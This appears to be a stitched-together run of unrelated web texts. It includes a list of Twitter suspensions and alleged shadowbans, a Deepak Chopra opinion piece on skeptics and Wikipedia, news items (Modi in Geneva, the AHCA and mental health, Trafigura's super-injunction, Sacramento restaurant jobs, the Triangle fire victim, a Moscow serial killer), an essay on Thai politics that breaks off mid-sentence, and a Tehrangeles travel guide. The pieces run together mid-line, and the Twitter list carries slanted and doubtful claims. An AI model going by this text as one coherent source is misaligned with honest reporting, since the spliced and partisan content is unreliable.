Ricky Vaughn was banned on October 7, 2016, for "violating the Twitter Rules", specifically the "rules around participating in targeted abuse."[4]
Milo Yiannopoulos was banned for "inciting abuse" against Leslie Jones, an actress who starred in the Ghostbusters reboot on July 19, 2016.[5][6]
Pax Dickinson's anonymous account "The Duck" (@jokeocracy) was permanently banned on January 26, 2016 after a series of jokes aimed at several journalists and left-wing activists that were determined to violate Twitter's harassment rules.[7]
(Most recent on top:)
In late 2017, Twitter suspended or terminated multiple accounts of well-known white nationalists after imposing new rules against this type of content. The group Britain First, which documents and protests instances of Muslim group and individual violence in the UK, was banned by Twitter after a post from one of the three blocked accounts was retweeted by President Trump. The accounts of group leaders Jayda Fransen and Paul Golding were also suspended.[8][9]
Rose McGowan's twitter account was suspended on Oct 11, 2017 for 12 hours allegedly related to her tweets about Harvey Weinstein's sexual misconduct.[10][11]
Pax Dickinson was suspended on November 15, 2016.
Nick Land's @Outsideness account, a.k.a. Xenosystems, a.k.a. the "Outside In" blog, was reportedly disabled in mid February 2017. It was restored after he made a blog post about the matter. [12]
Hunter Avallone's Twitter account was suspended on March 7, 2017. [13]
The account @EastwoodUSA - mistaken for but reportedly not actually the account of Clint Eastwood - was suspended on November 9, 2016 shortly after tweeting "Thank you America, I don't have long left to live but now I know the last few years will be great, I can't thank you enough #PresidentTrump" [14] At the same time, Morgan Eastwood, Clint Eastwood's daughter is quoted as claiming that the account was not operated by Clint Eastwood:
STOP POSING AS MY DAD EVERYONE KNOWS HE WOULD NOT KNOW HOW TO USE SOCIAL MEDIA... Everyone knows this isn’t really his account. I would know. — Morgan Eastwood, [14]
Glenn Reynolds, professor of law at the University of Tennessee, USA Today columnist, and blogger known as Instapundit, was suspended due to a September 21, 2016 tweet concerning rioters in Charlotte stopping, surrounding, and looting vehicles on the highway.[17]
The popular Vladimir Putin parody account @DarthPutinKGB was suspended on May 31, 2016 but reactivated a day later.[18]
Journalist Robert Stacy McCain's account @rsmccain was suspended on February 19, 2016 without explanation,[19] prompting the creation of the hashtag #FreeStacy.[20]
Charles C Johnson was banned on May 24, 2015 for violating Twitter rules “around participating in targeted abuse” [21] by inviting his Twitter followers to fund him "taking out" DeRay Mckesson, co-founder of the policy platform Campaign Zero and proponent of the Black Lives Matter movement.
(Most recent on top:)
Anna Maria Perez was shadowbanned on October 26th, 2016. [22]
Malik Obama, brother of President Obama, was shadowbanned on October 20, 2016.[23]
@HdHammer865 was shadowbanned on October 2, 2016. He also received an email from Twitter notifying him that his account was now locked for "suspicious activities" on October 3, 2016.[24]
Scott Adams, the American cartoonist and creator of Dilbert, was shadowbanned on October 1, 2016.[25] He later made numerous additional claims that his account was being throttled[26] and asked his readers to provide screenshots of specific examples.[27]
Alt-Right writer Brett Stevens was shadowbanned on August 28, 2016.[28]
Dragon Award-winning science fiction author Brian Niemeier was shadowbanned on July 29, 2016.[29]
Donald Trump was shadowbanned by Twitter in July 2016.[30]
Vox Day was shadowbanned on February 14, 2016.[31]
(Most recent on top:)
In late September, 2018, actor James Woods was locked out of his @RealJamesWoods account, prompting tweets and hashtags such as #FreeJamesWoods from other Twitter users.[32]
In November 2017, Twitter removed verification badges from white nationalists accounts including Richard Spencer and Jason Kessler. Federal Communications Commission Chairman Ajit Pai commented that Twitter has a "double standard" that favors left-wing and penalizes right-wing users. However, US left-wing politician Diane Feinstein demanded that Twitter ban all political accounts that are too right-wing.[33]
Links to WikiLeaks (https://wikileaks.com) were declared "unsafe" on 12 October 2016.
Notice from Twitter, links to Wikileaks are labeled as "unsafe"
Links to the Vox Day blog Vox Popoli were declared "unsafe" by Twitter on September 21, 2016. Numerous people, including Day himself, had their accounts locked for tweeting or retweeting links to his blog.Opinion
The Rise and Fall of Militant Skepticism
By Deepak Chopra, M.D., FACP
Skepticism has gotten itself into a pickle - perhaps something a lot more serious than a pickle - that is undermining its good name. The credibility of Wikipedia may be at stake (see below). We live in a skeptical age, because the cornerstone of science, "Everything must be verified," is a skeptical position. When a researcher claims to have accomplished something remarkable, such as cold fusion, his experiment must be replicated before it will be believed. The need to verify, to lay out credible facts, has become second nature, and not just for scientists.
Facts, data, information, research findings, statistics - these are woven into every aspect of our lives. Which means that skepticism is woven in, too. Hence its good name. Without accurate polls, politicians would be lost (consult Mitt Romney, who believed in skewed polls all the way to election night). But there is no reason for skepticism to become a militant crusade. Facts are facts, as the saying goes, and when a political ideology like Fascism identified Einstein as someone who conducted "Jewish science" (a term coined by the Nazis), such a label is not simply abhorrent - it misconstrues what science actually is, a universal enterprise that has no place for personal, religious, or political prejudice.
The rise of militant skepticism clouded the picture, however, beginning with its popular attack on religion. The aim of Richard Dawkins, as stated in his best seller, The God Delusion, was to subject "the God hypothesis" to scientific scrutiny, the way one would subject anti-matter or black holes to scrutiny. In fact he did no such thing with God, for the scientific method requires experiments that can be replicated and facts that can be verified. Dawkins offered no experiments to prove or disprove the existence of God. What he actually did was to subject religion to a barrage of scorn and ridicule, attacking it on the rational improbability - as he sees it - that a deity could possibly exist.
The commercial success of his book wasn't hard to explain. Long ago Darwin's theory of evolution had toppled the creation story found in the Book of Genesis, and through a domino effect the toppling continued. By the time The God Delusion appeared in 2006, organized religion was still in decline, and millions of readers were happy to seize on a "scientific" book that relieved them of any guilt over not going to church or temple. Atheism was held out by Dawkins as the only enlightened position one could take on the God question. He anticipated that readers would flock to become atheists with himself in the lead, a social movement that never, in fact, materialized. Polls continue to show that well over 80% of people believe in God, and something like 1 in 8 atheists go to church, while no massive surge in unbelief has occurred.
The God Delusion, aided by a handful of other best sellers attacking religion in the same vein, did have one decisive effect, however. Science became yoked to the tools of rhetoric and demagoguery, going so far as to lose any trace of objectivity. These tools, once shunned by science, were useful to Dawkins, given that he had no actual scientific proof that God doesn't exist. Hostile reviewers cried foul, but the complaints came from a mixed lot of religious fundamentalists, philosophers, and theologians who hardly presented a united front. Among the most educated and the least educated groups, Dawkins had no credibility. But the job had been done. It was now "scientific" for militant skepticism to practice forms of intellectual dishonesty that have only proliferated.
Thanks to the Internet, skepticism can spread with the speed of light, carrying in its wake all forms of unfairness and bad faith. A distressing example has been occurring at Wikipedia, where a band of committed skeptics have focused their efforts to discredit anyone whom they judge an enemy. The problem has been slow to gain traction in the public arena, because Wikipedia has constructed an elaborate set of rules to minimize editorial bias. Ironically, the skeptics have turned these rules, which run to hundreds of pages, to their advantage. They have become so skilled at thwarting anyone who disagrees with their point of view that a small swarm of skeptical editors is capable of outnumbering, bullying, and even banning all those who oppose them.
You can see the results at the Wikipedia entry for Rupert Sheldrake, the British biologist who has served as a lightning rod for militant skeptics for several decades. Intelligent, highly trained, an impeccable thinker, and a true advocate for experimentation and validation, Sheldrake had the temerity to be skeptical about the everyday way that science is conducted. He made his first splash by questioning the accepted assumptions of Darwinian evolution, and most recently he published a cogent, well-received book about the hidden weaknesses in the scientific method, titled Science Set Free. His avowed aim is to expand science beyond its conventional boundaries in the hope that a new path to discovery can be opened up.
But you'd never know it from Sheldrake's Wikipedia entry, which is largely derogatory and even defamatory, thanks to a concerted attack by a stubborn band of militant skeptics. Since I am close to Sheldrake personally and have Wikipedia woes of my own, it's not fair for me to offer accusations over the extent to which Wikipedia is under attack. But the skeptics have been caught in the act, which is the pickle they find themselves in, as I mentioned at the outset of this post.
You can read a detailed account in a series of online posts written by Craig Weiler at his blog The Weiler Psi. Confronting the militant pests at Wikipedia resembles taking hold of a tar baby, as Weiler relates in his most recent post, pointedly entitled "Wikipedia: The Only Way to Win Is Not to Play." The unsavory fact is that skeptics have figured out how to game Wikipedia's attempts to provide fairness, and we are all the loser for it.
Dawkins and the militant skeptics are symptoms of a deeper problem that turns out to have fascinating implications. Noisy as they are, these hostile crusaders have had no impact on the everyday activity of doing science or keeping faith. But that is about to change. The deep question of what is real is one that contemporary science can no longer avoid. How this is leading to the decline of skepticism makes for an intriguing mystery story, which will be discussed in the next post.
(To be cont.)
Deepak Chopra, MD is the author of more than 75 books with twenty-one New York Times bestsellers. Coming soon What Are You Hungry For? (Harmony, November 12, 2013)
Read more...Ahead of his five-nation tour, PM Modi had described Switzerland as India's key partner in Europe.
Prime Minister Narendra Modi arrived in Geneva today on the third leg of his five-nation tour during which he will hold talks with Swiss President Johann Schneider-Ammann to deepen bilateral and multilateral cooperation.PM Modi, who visited Afghanistan on Saturday, arrived in Geneva after his two-day visit to Qatar during which he held talks with the leadership there on a host of issues."Bon Soir Geneve! A late night arrival in the picturesque Swiss city marks beginning of third leg of PM's journey," External Affairs Ministry Spokesperson Vikas Swarup tweeted.Ahead of his five-nation tour, PM Modi had described Switzerland as India's key partner in Europe."I will hold talks with President Schneider-Ammann to deepen our bilateral and multilateral cooperation.""In Geneva, I will meet prominent businesspersons. Our agenda will be to expand economic and investment ties. I will meet Indian scientists working at CERN. India takes pride in their contribution to exploring new frontiers of science in the service of humanity," he had said.The Prime Minister is likely to raise the issue of black money stashed by Indians in Swiss banks.PM Modi is also likely to seek Switzerland's support for India's membership of the 48-member Nuclear Suppliers Group as it is a key member of the elite grouping. From Geneva, PM Modi will travel to the US and then to Mexico before returning to India.House Republicans on Thursday passed an updated version of the American Health Care Act, which could affect the millions of people who live with a mental health or substance-use disorder.
Analysis of the GOP bill by various organizations shows a grim outlook. Not only would people dealing with mental health conditions or drug dependency have to pay higher premiums, many may not even be covered.
This could have serious consequences, with the country in the throes of one of history’s worst opioid epidemics. Drug overdose is the leading cause of accidental death in America.
And, according to experts, if Trumpcare becomes law, it may undo years of progress on behavioral health.
How the bill can affect those with mental illness and addiction
The legislation threatens to gut protections for the majority of people with pre-existing conditions, which could include mental illnesses and addiction. This means the GOP legislation could allow insurers to make coverage more costly for people with existing health issues.
Premiums are likely to skyrocket. A person around the age of 40 with a drug dependency could see increases as high as 500 percent, according to the liberal think tank Center for American Progress. Those with bipolar disorder or major depressive disorder may see a 200-percent rise in surcharges.
States would be able to get waivers that could allow insurance providers to deny coverage for certain health services, including mental health treatment and substance abuse treatment.
What mental health advocates are saying
Experts in behavioral health and lawmakers who have been fighting for mental health awareness vehemently oppose the legislation.
“The latest version of Trumpcare doesn’t just threaten access to behavioral health coverage for those on Medicaid, it threatens access to behavioral health coverage for everyone,” Rep. Joe Kennedy (D-Mass.) wrote in an op-ed for Stat.
In an interview with HuffPost last month, Linda Rosenberg, president and CEO of the National Council for Behavioral Health, said any bill is poor policy if it threatens coverage for those with mental health issues, or doesn’t treat mental illness as seriously as physical illness.
“Mental illness is an illness like any other,” Rosenberg said. “People recover and they can live full and productive lives with effective treatment. We just have to be sure that treatment is still available in every community, just like we do for cancer and heart disease.”
Other mental health organizations, including the American Psychological Association, also expressed fear before the vote that the Republican plan will negatively affect those living with mental health disorders. Mental Health America, another advocacy group, stressed that the bill threatens the lives of people with mental health conditions.
“The passage of the AHCA, as it was amended today, is an astonishing assault on the health care of all Americans,” Paul Gionfriddo, president and CEO of Mental Health America, said in a statement.
“These effects will be felt mostly by people with chronic conditions... They will affect people with cancer and heart disease,” Gionfriddo continued. “They will affect millions with serious mental illnesses. This is not something we can ignore or forget as we move forward. Lives are in the balance.”Pro-democracy protesters wear red in a Bangkok stadium, December 13, 2008.
By Giles Ji Ungpakorn
March 21, 2009 -- The current dispensation in Thailand is based on a political reaction to stem and reverse some of the populist measures of the deposed prime minister, Thaksin Shinawatra, who himself was a neoliberal with a few pro-poor schemes. Even this was unacceptable to the elites who used the courts, the military and the monarchy to depose him and institute an anti-democratic constitution which protects their privileges. But now that Thaksin is gone, a grassroots movement of the poor is emerging to challenge the hold of the elites, the military and the monarchy over Thailand.
Today, the Thai government, and its elite supporters, are once again using the language of the Cold War and the era of military dictatorships in order to throttle free speech and democracy. Everything in Thailand is not as it seems. The so-called Democrat Party is in government, but not because of support from the majority of the electorate. In fact, the Democrat Party has never won anything approaching a majority and this is why the party welcomed the military coup in 2006. The Peoples' Alliance for Democracy (PAD), those yellow-shirted royalists who seized the two international airports last year, are neither an alliance of the people nor are they for democracy.
Its membership base is among the extremist middle classes who believe that the Thaksin Shinawatra government spent “too much” money on welfare and populist policies for the poor. The PAD believes that only is it true guardian of the monarchy and that the majority of the Thai electorate, who are poor, should not have the right to vote. The PAD has an armed “guard” and has used violent tactics on the streets of Bangkok to destabilise elected governments. It proposes a “New Order” in Thai politics where only 30% of the parliament is elected. It wants members of parliament to be elected by “professional groups” rather than through a one-person one-vote system. This would ensure that doctors and professionals have much more voting power than poor agriculturalists or factory workers. Tragically, most socalled “liberal” academics supported the 2006 coup and the PAD. Amazingly, so did half the Thai non-governmental organisation (NGO) movement. The PAD works hand in glove with the army and it has received endorsement from the queen.
The assault on democracy
Five years ago, under the elected Thaksin government, Thailand had a thriving and developing democracy with freedom of expression, a relatively free press and an active civil society where social movements campaigned to protect the interests of the poor. This was not, however, the work of the Thaksin administration, since there were serious problems of human rights abuses. Thaksin's government used murderous repression in the predominantly Muslim southern provinces of Malay and killed more than 3000 people in the so-called “war on drugs”. The situation, though, has become much worse since the 2006 coup which overthrew his government. Today, the country is creeping towards totalitarianism. The present government, led by the Democrat Party, is only in power because of the military which staged a coup in 2006. Despite the grave economic crisis, its priority is just to crack down on free speech and dissent, claiming the need to protect “national security”.
The Thai political crisis started with mass demonstrations led by the PAD in early 2005. The PAD began as an “alliance from hell” between disgruntled royalist media tycoon Sonti Limtongkul and a handful of NGO and social movement leaders.
They attacked Thaksin’s Thai Rak Thai government for corruption. Interestingly, they never showed any interest in criticising his human rights abuses. Thaksin responded to the growing crisis by dissolving parliament and calling fresh elections. The opposition boycotted these elections and “liberal” academics “explained” that calling fresh elections was “undemocratic”. The courts then annulled the election. The anti-democratic forces knew that Thaksin’s Thai Rak Thai party was immensely popular and would win any vote. Rather than accepting that the electoral support for Thaksin was because of the government's first-ever universal healthcare scheme and many other pro-poor measures, they claimed that the poor did not understand democracy and were just “bought” by Thaksin. The Democrat Party spent most of its time attacking these pro-poor policies as being a waste of money and against “fiscal discipline”. Little wonder then that ordinary Thais would not want to vote for them!
The NGO and social movement leaders of the PAD moved sharply to the right, becoming fanatical royalists and calling on the monarch to sack Thaksin's elected government. This the king refused to do, but the PAD's demands were seen as a green light for a military coup and the military obliged in September 2006. PAD leaders and military junta leaders were seen celebrating their victory at a New Year's party in 2007. At that time, the Democrat Party also welcomed the coup.
Newly ordered constitution
The army ripped up the best constitution Thailand has ever had and replaced it with one of its own. A referendum was held to approve the military constitution. Many provinces were under martial law, campaigning for a “no” vote in the referendum was deemed illegal and full-page advertisements in the press urged people to vote “yes”. The referendum result was extremely close, a small majority being in favour. Half the NGOs, the PAD, most academics, the mainstream media and the Democrat Party all supported the new constitution. The military constitution allowed for half the senate to be appointed by the military, rather than elected. It decreased the role of political parties and installed a crony system where members of the elite appointed themselves to the senate, the judiciary and to so-called “independent bodies”.
The constitution laid down that neoliberal free market policies must be used in the interests of fiscal discipline, but also imposed a huge increase in the military budget. The final clause in the constitution, which previously gave citizens the right to oppose military coups, was changed to legitimise the 2006 coup and any future seizures of power. The courts in Thailand have never been truly independent or just. The military used the courts to dissolve the Thai Rak Thai party and then held the elections. Despite this, Thaksin's party won a majority. So the courts were used for a second time to dissolve the new party which had evolved from Thai Rak Thai. It is clear that the aim was to cripple the most popular party and not allow it to form a stable government.
At the same time the PAD launched its deliberate “campaign of chaos” in order to achieve its “New Order”. It used violence to take over Government House, wrecking the interior. It staged violent actions to try and prevent the elected parliament from convening and subsequently it seized the two international airports in 2008 with the support of the military and the Democrat Party. The PAD cared little about the damage to the country's economy and jobs, on the assumption that it, as the elites, would not be hurt and the poor could just suffer. No one from the PAD has been punished for these violent actions.
After the 2006 coup, the PAD descended into a fascist-type of organisation. It took on ultra-royalist and ultra-nationalist politics. Its supporters wore royal yellow shirts. It nearly caused a war with Cambodia over an ancient hilltop ruin. It built up its own armed guard which openly carried and used weapons on the streets of Bangkok. The present Thai foreign minister is a PAD supporter who took part in the illegal occupation of |
ask whether the MP was myself.
"The question was printed on the order paper yesterday and relates to the activities of Trafigura, an international oil trader at the centre of a controversy regarding toxic waste-dumping in the Ivory Coast, and to the role of its solicitors, Carter-Ruck.
"Yesterday, I understand, Carter-Ruck, quite astonishingly, warned of legal action if the Guardian reported my question. In view of the seriousness of this, will you accept representations from me over this matter and consider whether Carter-Ruck's behaviour constitutes a potential contempt of parliament?"
Earlier, Trafigura's law firm had refused to alter an existing blanket court order banning the Guardian from mentioning Trafigura's recourse to the courts. This refusal was despite the publication on parliament's official website of Farrelly's questions revealing the facts,.
The result of Carter-Ruck's intransigence was an avalanche of online publication, as well as the reproduction of Farrelly's parliamentary questions in the magazine Private Eye, which hit the London streets at lunchtime today. Bloggers who posted Farrelly's questions in full included the political website Guido Fawkes and the Spectator magazine website.
Large numbers of messages were posted on Twitter, to the extent that "Trafigura" and "Carter-Ruck" became the most viewed keywords in London throughout the morning.
Shortly before the case was due to come to court, Carter-Ruck announced that its clients would no longer oppose reporting of what was said in parliament about them.
Farrelly told the Guardian afterwards: "The issuing by the courts of so-called super-injunctions is rightly controversial and a matter of growing concern. That is why, using parliamentary privilege, I tabled these questions to Jack Straw at the Ministry of Justice as a matter of urgency.
"The practice offends the time-honoured 'rule against prior restraint', which safeguards freedom of expression in this country. It also fails to protect whistleblowers acting in the public interest. The huge legal bills involved in fighting cases, too, have a chilling effect on legitimate investigative journalism.
"So often, the beneficiaries are big corporations. The fact that the press is also barred from reporting the existence of these gagging orders is doubly pernicious. It is a subject the select committee will be addressing in our current inquiry into the press and the way the law works in Britain today.
"Absolute privilege in reporting parliament has been established since the Bill of Rights in 1688. It is a fundamental freedom for the press, and it is vital that neither lawyers nor the courts seek to attack this time-honoured right."As new eateries pop up across the region, the number of restaurant employees has risen sharply – a big factor in the area’s declining unemployment rate.
About 77,000 people worked at restaurants in the four-county region in November, up 13 percent from November 2015, according to the latest state employment figures.
That’s nearly triple the rate of job growth seen in other sectors.
About one of every five new, local jobs created in the last two years came in the restaurant industry. Sacramento restaurants employ more people today than either the construction industry or local school districts.
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The restaurant industry tends to expand and contract rapidly with the economy. When the economy is doing well, more people have extra money to spend dining out – and vice versa. Sacramento’s unemployment rate – a key indicator of the state of the region’s economy – stood at 3.7 percent in November, the lowest since at least 1990.
The Sacramento area is also in the midst of a push to brand itself as a “farm-to-fork capital,” and excitement around that effort may drive some of the sector’s job growth.
In addition, the downtown and midtown areas – hubs of local restaurant activity – are thriving, with multiple residential construction projects underway and thousands regularly coming downtown to visit the new Golden 1 Center.
About 100 restaurants exist today in downtown and midtown that didn’t exist five years ago, according to a Bee analysis of county health inspection records.
Downtown and midtown restaurants that opened in the last five yearsMax Florin, whose young visage was published on the inside pages of the Forverts in the aftermath of the Triangle Shirtwaist Factory fire, has been named in an HBO Films video as one of the six unknowns who were buried in a mass grave nearly 100 years ago.
The identities of the six has long been the enduring mystery of the tragic fire that claimed the lives of 146 blouse makers, most of them young Jewish and Italian immigrant women, who were trapped by flames on March 25, 1911. Nearly 60 of them jumped to their deaths from the windows of the ninth floor of the factory in the former Asch Building, half a block east of Washington Square in Manhattan.
Victim Max Florin Courtesy of The Forward
Read more: http://forward.com/articles/135557/#ixzz1EjIJwvsQ
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A sketch has been released in a bid to track down a serial killer believed to have a hatred of car drivers.
Police say they are investigating around 14 deaths which they suspect may all be down to the same person.
In each of the cases the motorists were all murdered with a single bullet to the head.
Nothing was stolen and there is no apparent motive – leading police to believe they were carried out by the same driver-hating killer in the Russian capital Moscow in the last few years.
In each of the cases the drivers were murdered but nothing was stolen from them and all of the killings were apparently motiveless, having happened without any road rage incidents or any other apparent provocation. In addition, each of the drivers had been killed by a single bullet to the head.
The latest case was in June this year when 53-year-old Alexey Tsiganov was shot dead near Domodedovo airport.
The same month Albert Yusupov was killed in Fomingskoe village on the outskirts of Moscow.
Two pensioners were also killed in May.
Police did not say how they have managed to put together the image of the man they wanted to quiz about the murders, but have appealed to anyone who may know who it is to get in touch urgently.
Sources close to the investigation have said ballistic experts believe the same gun - a nine calibre Russian-made Makarov - was used in all the cases, a fact discovered after similarities between the murders were noticed and an investigation was carried out.
Psychologist Mikhail Vinogradov, who was been drawing up a profile of the killer for police, said: "The murderer in each case did not take money or other belongings of the victims and nor it seems did he know his victims.
“It all leads towards the idea that we have a serial killer. It is also typical that he mostly kills in one area on the outskirts of Moscow, where it is likely he knows the area."Los Angeles is the undisputed capital of the global Iranian diaspora. Home to a community of at least 700,000 Iranians that dates back more than half a century, no other city can compete with the vibrant and diverse microcosm of Iranian diaspora life hosted by this West Coast city.
And it’s not just within the United States that “Tehrangeles” makes its presence felt. LA has been the base of the global Iranian pop culture industry since the 1979 Revolution, when thousands of artists, musicians, and performers fled their homeland amidst political uncertainty and the rise of a government with a hostile attitude toward the pop culture industry.
In the years since, Iranian-Americans set up record labels and music halls, and by the 1990s they were beaming satellite television around the world and directly into Iran as well. Although today post-Revolutionary Iran boasts a strong tradition of cinematic, musical, and artistic production, the LA scene continues to be hugely influential in shaping trends across the Iranian global cultural sphere. This includes not only the 75 million Iranians in Iran, but also the estimated 3 million Iranians that have settled in countries as diverse as Sweden, the United Arab Emirates, France, Great Britain, Turkey, Israel, and many others, in addition to the United States.
Tehrangeles has emerged into a global brand, and while Tehranto (Toronto), Dubai and other Iranian diaspora centers have sprung up worldwide, Los Angeles’ hold on the global Iranian imagination is unrivalled.
That being said, however, Tehrangeles is not the easiest place to visit. Since the 1960s, when Iranian students on government scholarships began choosing to settle in LA instead of returning home, Iranian-Americans have spread across the city’s sprawling urban fabric and built enclaves in a variety of different areas. The 1979 Revolution brought the second big wave of Iranian settlement, followed by tens of thousands more after the end of the 1988 Iran-Iraq War, when many came in search of stability and economic opportunity. Migration has slowly subsided, but thousands continue trying their luck in Los Angeles, joining families and established Iranian communities in their search for a better life.
While the oldest and most-established Iranian communities are centered in western Los Angeles – specifically around Westwood and Beverly Hills – today Iranian enclaves are scattered across the city. This piece offers a brief tour of five major Tehrangeles neighborhoods – Westwood, Pico-Robertson, Glendale, Encino, and Irvine – and the tastes, smells, and sounds that make each a unique and important part of the city’s Iranian community. Westwood is by far the most walkable, accessible, and jam-packed of the neighborhoods mentioned, though Pico-Robertson and Glendale are relatively walkable as well. The others, however, should be visited by car. Whether this remains a virtual tour or becomes an itinerary for adventurous travelers, I leave up to the reader.
Westwood
Any Tehrangeles tour by definition begins and ends in Westwood – or, as the w-challenged locals prefer, “Vestvood” – the part of town most synonymous with the Iranian community among Angelenos. Located a few blocks south of the UCLA campus, Westwood is the beating heart of the city’s Iranian community, so much so that the city even declared the area “Persian Square” a few years back. “Persian” is the name of the game around these parts – while in the Persian language no one has any trouble calling themselves “Iranian,” this area is also the stronghold of supporters of the former monarchy and folks around here like to introduce themselves in English as “Perrrrsian” with a purred r (“like the cat”).
Westwood Boulevard is chock-a-block with music stores and bookshops offering the latest in Iranian pop, both from the Los Angeles-based industry as well as straight from Tehran. Lessons in sitar or other traditional Iranian instruments are easy to find here, as are clothes, furnishings, and gifts emblazoned with Persian calligraphy and traditional designs. Rugs, of course, are everywhere – but Persian carpet shops are so ubiquitous across Los Angeles that they hardly bear mentioning. At the heart of it all is a big Iranian synagogue, a nod to the fact that LA hosts the largest Iranian Jewish community in the world.
Westwood is also the heart of the Iranian culinary scene in LA. Restaurants like Flame, Shahrzad, Shamshiri and others offer the visitor a chance to try any number of delectable Iranian dishes surrounded by Tehrangeles’ finest.
Must tries include Fesenjoon – chicken cooked in a walnut and pomegranate stew that can go either sweet or bitter – as well as staples like beef and chicken kabob, white fish accompanied by lima bean rice, and saffron chicken with sour cherry rice. The strip of restaurants along Westwood Blvd. has the widest and most diverse selection of Iranian food this side of the Caspian Sea.
The area is also one of the few places outside of Iran where you can find Iranian fast food, a unique (and, for gastronomic purists, controversial) take on pizza and burgers with only a notional resemblance to either. “Persian pizza,” as they call it, is pan-sized and baked, and best consumed when covered in ketchup, mayonnaise, and a bit of sriracha if you want an extra kick. The best place to try it is Cafe Glace.
More importantly, Westwood is one of the best places to try Iranian desserts, especially Persian ice cream (bastani). The best flavors are a delicious concoction with a rosewater base mixed with pistachio and clotted cream or carrot ice cream, but many more variations on these themes are available.
The best way to eat bastani is squished between two waffle slices as a sandwich. If you’re looking for something sweeter, frozen rosewater noodles called faludeh or fried rosewater and honey balls called bamieh are also options. Westwood Boulevard has an unmistakably rosewater-tinged smell that’s hard to shake.
You’ll quickly notice the pictures of Mohammad Reza Shah Pahlavi that dot some of the stores alongside the pre-1979 flag of Iran hanging everywhere. Although this community predates the Revolution, it was the exodus of Iran’s secular, Shah-supporting elite and upper-middle classes that really gave the area its current shape (and spending power).
Nearby Beverly Hills is one-fifth Iranian, and the rumor is that Beverly Hills High School – which is one-third Iranian – even makes sure that the yearly Spring Break always coincides with Iranian New Year (Nowruz). As a result, the area around Westwood has a distinctly moneyed feel.
Westwood is a real, lovable place, but you’ll notice quickly that this is also where the Shahs of Sunset stereotype of LA Iranians as rich, pretentious socialites comes closest to the reality – although it is admittedly still for the most part an overblown stereotype!
Pico-Robertson
Just a few blocks southeast of Westwood is Pico-Robertson, the heart of Los Angeles’ Orthodox Jewish community. About 80,000 Iranian Jews calls LA home, making up at least 10% of the total Iranian community. Their numbers in LA rival only Tel Aviv, which has around 50,000, and Tehran, which has about 20,000 (though Tehran has, by far, more Persian-language synagogues that both combined).
A large number of devout Jewish Iranians calls Pico-Robertson or the surrounding neighborhoods home, and this is where anyone looking for Kosher Iranian food will find the greatest selection in the city. Eastern European, Russian, and Middle Eastern foods compete for space with a huge number of Kosher-certified Persian delicacies on the supermarket aisles (Elat Supermarket has the best selection), and the supermarket notice boards offer word of women-only concerts targeting Orthodox Iranian women for those interested. There’s also Kabab Mahaleh, a Jewish Iranian kabab restaurant that keeps kosher.
Here, Jewish Iranians have blended into the mainstream – in this case, the larger US Orthodox Jewish community – in a way they haven’t elsewhere, where by and large Iranians of all faiths – and a large number of atheists – downplay differences of religious affiliation but stick together against the broader urge to assimilate to life in the US.
For that reason, it’s an interesting stop for an alternative idea of Iranian diaspora life that in some ways resembles Jewish life in Tehran and Jerusalem more than it resembles nearby Westwood.
Glendale
North of downtown Los Angeles, Glendale is the heart of the city’s vast Armenian community. Here Armenians from the Republic of Armenia and Russia rub shoulders with Armenians from Iran as well as Lebanon, Palestine, Iraq, and Syria, and the Armenian diaspora world that formed here is uniquely Los Angeles in its ability to unite Armenians from across the Middle East and Eastern Europe into a single postal code, something never accomplished anywhere else.
At least 50,000 Glendale Armenians trace their roots to Iran, and on the streets you’ll hear a lot of Armenian mixed with Persian alongside Russian, Turkish, Arabic, and – this being Los Angeles – Spanish.
The heart of Iranian-Armenian Los Angeles is Raffi’s, a garden restaurant in downtown Glendale famous for its delectable kabobs and congenial atmosphere, a uniting culinary monument for those Iranians from the San Fernando Valley that don’t dare brave the LA traffic to visit Westwood and points further south. Traffic or no traffic, Raffi’s is a standout for any Tehrangeles tourist.
Also, Nersses Vanak is a great place to get another speciality of the region: known as dizi, or abgoosht. This dish is a thick mutton soup, but it’s served in a unique way: you mash it together into a paste and then eat it with bread. It’s hard to find outside Iran, so enjoy it here!
Encino
North of the Santa Monica Mountains sits the San Fernando Valley, and at its heart are the heavily-Iranian neighborhoods of Encino, Tarzana, and Woodland Hills. Less walkable than the areas mentioned so far, the Iranian influence here is noticeable in the big Persian-language signs that cover many a strip mall and the advertisements for restaurants specializing in kabob.
Encino is a congenial mix of Iranians, Armenians (Iranian and otherwise), Russians, Israelis, and many more, all of whom cluster along Ventura Boulevard with their distinct scripts mixing freely on local signage.
If you make it all the way out to the Valley, there are two major landmarks worth a visit. First is Woodland Hills Market (i.e. “Voodland Heelz Market”), a big supermarket with a kabob stand inside and a dazzling array of “Made in USA” Persian delicacies. Advertisements for Persian concerts cover the walls and there’s a ticket counter built into the market that is an exclusive vending point for the hottest in LA Iranian pop music.
The selection of Iranian flat breads here is top-notch, with deliciously soft barbari and lavash cooked fresh on the premises. Across the street, meanwhile, is a row of Iranian cafes, restaurants, smoothie shops, and ice cream parlors, all of which reflect the latest culinary trends in Iran (in comparison to the more “traditional” version of Iranian fare elsewhere in the city).
The second must-see is “The Spot” (called “Yaran” in Persian), a large outdoor waterpipe (i.e. shisha i.e. hookah i.e. ghelyoon) café replete with Persian takht, large beds that smokers sit on cross-legged and stretch out along as the night grows late that are common in Iran but hard to find stateside. Here, the cool Iranian Valley crowd hangs out until 2 AM, mixed in with Russians, Armenians, Latinos, and the rest of the cultural mélange that defines Valley Iranian life. There’s even a bouncer at the front, and the wait list can reach two hours on a typical evening. Lazing away the intense Valley heat during lunch might be a better bet for those less inclined to see and be seen.
The Valley is full of Iranian hookah joints, but this place is definitely the best in the city. Westwood Iranians, meanwhile, may point to their own row of waterpipe cafes in Westwood Village, but Valley Iranians will scoff and point out they’re all owned by Arabs – before crying, “and The Spot has plenty of parking!” which is the equivalent of “checkmate” in LA dialect.
Finally, there is Beryani Esfahani, aka the “It’s All Good House of Kabob”. This place is the best place to get the Isfahani specialty Beryani on the weekends (different from the South Asian “biryani,” although they’re related). In this case, beryani refers to a special sort of flat ground beef patty, served in a piece of bread. The store is filled with memorabilia such as Sufi memorabilia, folk Iranian clothing, and countless photos of famous Iranians. Call ahead to make sure they are serving beryani, as it’s usually only available on weekends.
Irvine
The final stop on our whirlwind tour of Tehrangeles is Irvine. Technically not in LA – it’s actually a distant suburb in far-away Orange County – Irvine gets a mention here because it is home to a somewhat different kind of Iranian community less interested in the fancy parties of Beverly Hills, the late-night outings in the Valley, or the fights over parking that unite (and divide) them all.
